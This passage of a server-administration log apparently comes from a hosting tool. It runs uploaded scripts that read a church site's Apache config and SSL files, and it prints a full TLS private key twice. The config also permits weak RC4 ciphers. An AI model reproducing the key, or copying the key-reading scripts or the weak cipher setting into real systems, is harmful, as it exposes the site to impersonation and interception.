    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:00:41: 

chmod 755 /tmp/pkp731662; /tmp/pkp731662; rm /tmp/pkp731662

2026-03-10 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-03-10 06:00:42: 

PUT: /tmp/pkp132516

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:00:42: 

chmod 755 /tmp/pkp132516; /tmp/pkp132516; rm /tmp/pkp132516

2026-03-10 06:00:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5361
3f:a4:b0:7f:e8:a0:61:b7:e0:ad:32:19:f9:bd:51:50

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBiL5+5qnfgiqKbv6yXk4z78YMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEwMDUwMjA0WhcNMjYwNjA4MDUwMjAzWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAwPA7b8vR4jtfM4Nqj24/GWePoWVFrP8ddukxWFSLdkVCoIlp
ZQhYBlSxZZ3NL0pRhNQtwmdtapuo8VJ0kRzg7/ZbQrnilMoDNQIF74ml5ZbcEWm5
OCfptrLMjdm6yTdfDJOQNOrng7PODHz36G4WQsXxyKO6DI1/KRygr+nkasQhLxVT
A2l/xYmxe9HPGCE3PGogpjNFbTL8ozeLGE/drcEgm4XWw3X0bJ1MeJekgytE0g/W
yoM4QFsPMsHRTp29C4awtmyqWppB0oRb6qLNt0AwomR6rwQVQPSyM8hkp6/ozuxJ
43/Db9qtLp1bvYEETf6x6rUTSYFX83jEToHkJQIDAQABo4ICHzCCAhswDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLyQn8uNBGPArlyxKGrzrjP5B9ERMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZaHltbnMuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzI1LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABnNZVNykA
AAQDAEgwRgIhAPUKwOoIleNkcX4e8mk0b2EyqFat8CxNY21Sgpi8LZpEAiEAwnOz
qXjqnQRi2IhnfnB60zB3JJRwrSUhOz4+gUmuCZkAdQCWl2S/VViXrfdDh2g3CEJ3
6fA61fak8zZuRqQ/D8qpxgAAAZzWVTdoAAAEAwBGMEQCIDOOORYlhX0ZYxCwuMuo
Ct92hqlxyhJRIDjco6aFgMxgAiAAyE7Bky2jBFGFt8i4JTDyoDtKj533DyUUJjkG
nR3kqDANBgkqhkiG9w0BAQsFAAOCAQEApXJBaYzdQlEZ6Cr2SXHI3MVHQqFdaFbE
1UQJx17lzgUpHuhHYcieaUXyT1UDgzUdil/R+/2kMBJy1Ax45oTOLoHnOnfHDI8t
w6MfU619YNeo9JV2tRIqzZpuMuXOcpAS7dadlJceyyz5fEUhRqympETIjmH8FbUq
lMZfIDlnc9HHmzDibijt8YOHKGTj3CO9HAtIoKePM0RJOMUmxx+PWpEzYYCE+abn
T0i3r1HdHPLw4W4FStR0+S/z6EWssMUvcvFRLDswGmsx7PUWbVmlm5F6zx9blr8r
kU0rzchXv71qPLDuFXXOJU69JofOHIJ3J3sW/HdO42y+CafI4l0sXg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDA8Dtvy9HiO18z
g2qPbj8ZZ4+hZUWs/x126TFYVIt2RUKgiWllCFgGVLFlnc0vSlGE1C3CZ21qm6jx
UnSRHODv9ltCueKUygM1AgXviaXlltwRabk4J+m2ssyN2brJN18Mk5A06ueDs84M
fPfobhZCxfHIo7oMjX8pHKCv6eRqxCEvFVMDaX/FibF70c8YITc8aiCmM0VtMvyj
N4sYT92twSCbhdbDdfRsnUx4l6SDK0TSD9bKgzhAWw8ywdFOnb0LhrC2bKpamkHS
hFvqos23QDCiZHqvBBVA9LIzyGSnr+jO7Enjf8Nv2q0unVu9gQRN/rHqtRNJgVfz
eMROgeQlAgMBAAECggEAB/2bFJL+Lw6y72z8q5KPEfQITpClbVgGhh97z/L2cLBH
JWNzhj/td1uoGjOKJTCAhk4MVB4Y+b6XJWF7Gux1g3KyTmXo9K0WK2qZSNWsVYEl
PaJhjaoXg53Nm31eP0moCdsNsKde7cUzXjCJyupOSTct/5eKU81DbDY3kHmRIHvK
9c3K6bBD03vhGlWstJZHQPTBUW/BWd2BPWn+XnuiD7KA6J+gzNIM8/FfmSMiCE0T
FxzAxwzTbrCJt2TRy+VJoH4j5zsGI2UzkAGm9z7rOFg+IOjs7eDrQzaqxAlRtIGj
VHo5k0BUGySVWLerQco7Ha9n2c8paVmg3SncbgENAQKBgQD5Bx9tmDq95JiaTGAu
qRU9ve627XE7naLwg5QkISywHl38phxy9FtJ8Q3JWU8pJ8NLTc5yHz6HJl+G7ykN
c9Z8nhSJ44X7VQm8amjxWXf9uBg4iasCYDEE/VhBzD9Pz/u0r0uncN6iysFeivcX
Kv5x+ojLyEp18/f7pMZrWshzJQKBgQDGVxhfRy8WCH0GeJWIvEtAtHREJFHSMxSr
tzUSXX6pS+W2X7QYnp2feMVjDavUL7QlWz4II5VhtWt4zXAMn5wrlKINClG46Lf5
IzxDye7yrjZIxTmpdy7SGMAp4h2zyIKVrwH9BJgWJ6Or1+BGdmebFPMsEuZumVK7
F5IbF8FdAQKBgQC7yFY3o0IwbU9xksQ4i0G8NBvtDvGC3eS/bsjn0ahMCiofWPc8
6+xmvoIB4fmidBx9DWfugIb7DMGeE3wma8JCaEXekJY4prBXxvnpfOjRht+kypMM
kJKGS7Agta7MNW59mm33DlKj+TaFX07hxobmVeCPojIb7eOCe4cv7t4WjQKBgGLc
Ip/LAWNAE+FX1WD0SaYUzCby232kTFdS2DcxNuL3m6YNid0DoplMP0aiF9WJeYdt
NTwlUF4FaW4rKACCxfrK+QL688Tw6lJaB73aNynrP8+Bzr3zU/kQsSevNxLXjI9D
TgBpe8z/MQuEbJtyhS29gX+kZAsYjS4ID6FFc/IBAoGAPPMi5YpllJZ8922l74MM
LWP9FKhkbYQYnT3i3T8Bwpr682sAYOE84x4p65k0llcI76jYmNAAU8zuHNElOAM5
rh6+B/mQqwiq2aCQ+oGWiDlvHMDSxduW8rRjP1RJYkxnLqR1CjzOurRH35hfERmk
oHVPdIIVk/hAEGuRKMABFK8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-10 06:00:42: 

PUT: /tmp/pkp401142

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:00:43: 

chmod 755 /tmp/pkp401142; /tmp/pkp401142; rm /tmp/pkp401142

2026-03-10 06:00:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5361
3f:a4:b0:7f:e8:a0:61:b7:e0:ad:32:19:f9:bd:51:50

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBiL5+5qnfgiqKbv6yXk4z78YMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEwMDUwMjA0WhcNMjYwNjA4MDUwMjAzWjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAwPA7b8vR4jtfM4Nqj24/GWePoWVFrP8ddukxWFSLdkVCoIlp
ZQhYBlSxZZ3NL0pRhNQtwmdtapuo8VJ0kRzg7/ZbQrnilMoDNQIF74ml5ZbcEWm5
OCfptrLMjdm6yTdfDJOQNOrng7PODHz36G4WQsXxyKO6DI1/KRygr+nkasQhLxVT
A2l/xYmxe9HPGCE3PGogpjNFbTL8ozeLGE/drcEgm4XWw3X0bJ1MeJekgytE0g/W
yoM4QFsPMsHRTp29C4awtmyqWppB0oRb6qLNt0AwomR6rwQVQPSyM8hkp6/ozuxJ
43/Db9qtLp1bvYEETf6x6rUTSYFX83jEToHkJQIDAQABo4ICHzCCAhswDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFLyQn8uNBGPArlyxKGrzrjP5B9ERMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZaHltbnMuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzI1LmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB3ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABnNZVNykA
AAQDAEgwRgIhAPUKwOoIleNkcX4e8mk0b2EyqFat8CxNY21Sgpi8LZpEAiEAwnOz
qXjqnQRi2IhnfnB60zB3JJRwrSUhOz4+gUmuCZkAdQCWl2S/VViXrfdDh2g3CEJ3
6fA61fak8zZuRqQ/D8qpxgAAAZzWVTdoAAAEAwBGMEQCIDOOORYlhX0ZYxCwuMuo
Ct92hqlxyhJRIDjco6aFgMxgAiAAyE7Bky2jBFGFt8i4JTDyoDtKj533DyUUJjkG
nR3kqDANBgkqhkiG9w0BAQsFAAOCAQEApXJBaYzdQlEZ6Cr2SXHI3MVHQqFdaFbE
1UQJx17lzgUpHuhHYcieaUXyT1UDgzUdil/R+/2kMBJy1Ax45oTOLoHnOnfHDI8t
w6MfU619YNeo9JV2tRIqzZpuMuXOcpAS7dadlJceyyz5fEUhRqympETIjmH8FbUq
lMZfIDlnc9HHmzDibijt8YOHKGTj3CO9HAtIoKePM0RJOMUmxx+PWpEzYYCE+abn
T0i3r1HdHPLw4W4FStR0+S/z6EWssMUvcvFRLDswGmsx7PUWbVmlm5F6zx9blr8r
kU0rzchXv71qPLDuFXXOJU69JofOHIJ3J3sW/HdO42y+CafI4l0sXg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDA8Dtvy9HiO18z
g2qPbj8ZZ4+hZUWs/x126TFYVIt2RUKgiWllCFgGVLFlnc0vSlGE1C3CZ21qm6jx
UnSRHODv9ltCueKUygM1AgXviaXlltwRabk4J+m2ssyN2brJN18Mk5A06ueDs84M
fPfobhZCxfHIo7oMjX8pHKCv6eRqxCEvFVMDaX/FibF70c8YITc8aiCmM0VtMvyj
N4sYT92twSCbhdbDdfRsnUx4l6SDK0TSD9bKgzhAWw8ywdFOnb0LhrC2bKpamkHS
hFvqos23QDCiZHqvBBVA9LIzyGSnr+jO7Enjf8Nv2q0unVu9gQRN/rHqtRNJgVfz
eMROgeQlAgMBAAECggEAB/2bFJL+Lw6y72z8q5KPEfQITpClbVgGhh97z/L2cLBH
JWNzhj/td1uoGjOKJTCAhk4MVB4Y+b6XJWF7Gux1g3KyTmXo9K0WK2qZSNWsVYEl
PaJhjaoXg53Nm31eP0moCdsNsKde7cUzXjCJyupOSTct/5eKU81DbDY3kHmRIHvK
9c3K6bBD03vhGlWstJZHQPTBUW/BWd2BPWn+XnuiD7KA6J+gzNIM8/FfmSMiCE0T
FxzAxwzTbrCJt2TRy+VJoH4j5zsGI2UzkAGm9z7rOFg+IOjs7eDrQzaqxAlRtIGj
VHo5k0BUGySVWLerQco7Ha9n2c8paVmg3SncbgENAQKBgQD5Bx9tmDq95JiaTGAu
qRU9ve627XE7naLwg5QkISywHl38phxy9FtJ8Q3JWU8pJ8NLTc5yHz6HJl+G7ykN
c9Z8nhSJ44X7VQm8amjxWXf9uBg4iasCYDEE/VhBzD9Pz/u0r0uncN6iysFeivcX
Kv5x+ojLyEp18/f7pMZrWshzJQKBgQDGVxhfRy8WCH0GeJWIvEtAtHREJFHSMxSr
tzUSXX6pS+W2X7QYnp2feMVjDavUL7QlWz4II5VhtWt4zXAMn5wrlKINClG46Lf5
IzxDye7yrjZIxTmpdy7SGMAp4h2zyIKVrwH9BJgWJ6Or1+BGdmebFPMsEuZumVK7
F5IbF8FdAQKBgQC7yFY3o0IwbU9xksQ4i0G8NBvtDvGC3eS/bsjn0ahMCiofWPc8
6+xmvoIB4fmidBx9DWfugIb7DMGeE3wma8JCaEXekJY4prBXxvnpfOjRht+kypMM
kJKGS7Agta7MNW59mm33DlKj+TaFX07hxobmVeCPojIb7eOCe4cv7t4WjQKBgGLc
Ip/LAWNAE+FX1WD0SaYUzCby232kTFdS2DcxNuL3m6YNid0DoplMP0aiF9WJeYdt
NTwlUF4FaW4rKACCxfrK+QL688Tw6lJaB73aNynrP8+Bzr3zU/kQsSevNxLXjI9D
TgBpe8z/MQuEbJtyhS29gX+kZAsYjS4ID6FFc/IBAoGAPPMi5YpllJZ8922l74MM
LWP9FKhkbYQYnT3i3T8Bwpr682sAYOE84x4p65k0llcI76jYmNAAU8zuHNElOAM5
rh6+B/mQqwiq2aCQ+oGWiDlvHMDSxduW8rRjP1RJYkxnLqR1CjzOurRH35hfERmk
oHVPdIIVk/hAEGuRKMABFK8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-10 06:00:43: Establishing a connection
2026-03-10 06:00:44: Establishing a connection
2026-03-10 06:00:45: 

PUT: /tmp/pkp522002

#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-10 06:00:46: 

chmod 755 /tmp/pkp522002; /tmp/pkp522002; rm /tmp/pkp522002

2026-03-10 06:00:46: 


0


2026-03-10 06:01:13: Establishing a connection
2026-03-10 06:01:14: 

PUT: /tmp/pkp284844

#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734

cat > $temp_file <<'endmsg'
87:ce:c1:e9:5a:3a:86:7a:f6:41:75:47:e7:d8:cf:16

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBvziWxZsWylZRnhlQXToeBBkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzEwMDUwMjQyWhcNMjYwNjA4MDUwMjQxWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAOeXkBq7BGA0Bl7KcMqCcYwvy6JHHd9oDPR1MpKYn8X6h0wk
yTskxGHjVNBTIaEx4AMErKrW5fQbIpkgA8K9LhOyKL0KwYJ80MHUCob5ufUgOUoL
bGrSEAzca5x4CnJjcDX53GKXlZzYBvO9vjhl1Li1YbOvTT/cnNmUc33CsmAfmPTN
PGP4W5GmhgBn58dmkqBj6M6NyBci0W3Hxr9DQMyo9kWRRoNA9xrzbv3QL+iorgE1
41J4adHnPKj5HORUDB+MUjx9D4c3Ar5Ad4UhaMAQlnxpV9HVl5qiMAWjmJvrD976
3W17tJkqfBk6Ui5kr/4I8TszvIHedAdc1s3YbgsCAwEAAaOCAiEwggIdMA4GA1Ud
DwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBQTDDqRb0wpvzOcqOsuSSdD+sQ1jDAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMCUGA1UdEQQeMByCGmN5Z251cy5ob3BlaW5zdG91
Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCG
Hmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAxLmNybDCCAQQGCisGAQQB1nkCBAIE
gfUEgfIA8AB1AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnNZV
y/cAAAQDAEYwRAIgcrAQ89gIzrqjr5hjIrVM86eZzl4ZxsYqh1L10lYCZecCIGXF
e0/aJxeCH93n2jQwwcYwVoapbykoD2A0E80VUz4qAHcADleUvPOuqT4zGyyZB7P3
kN+bwj1xMiXdIaklrGHFTiEAAAGc1lXL2AAABAMASDBGAiEAj8GLLpJkkiloZ1rr
StqGfag1CGPr04InjG7MQyNEoTMCIQDKV6u3E7KeczJNL34kGVLwum/K5xOJmRLW
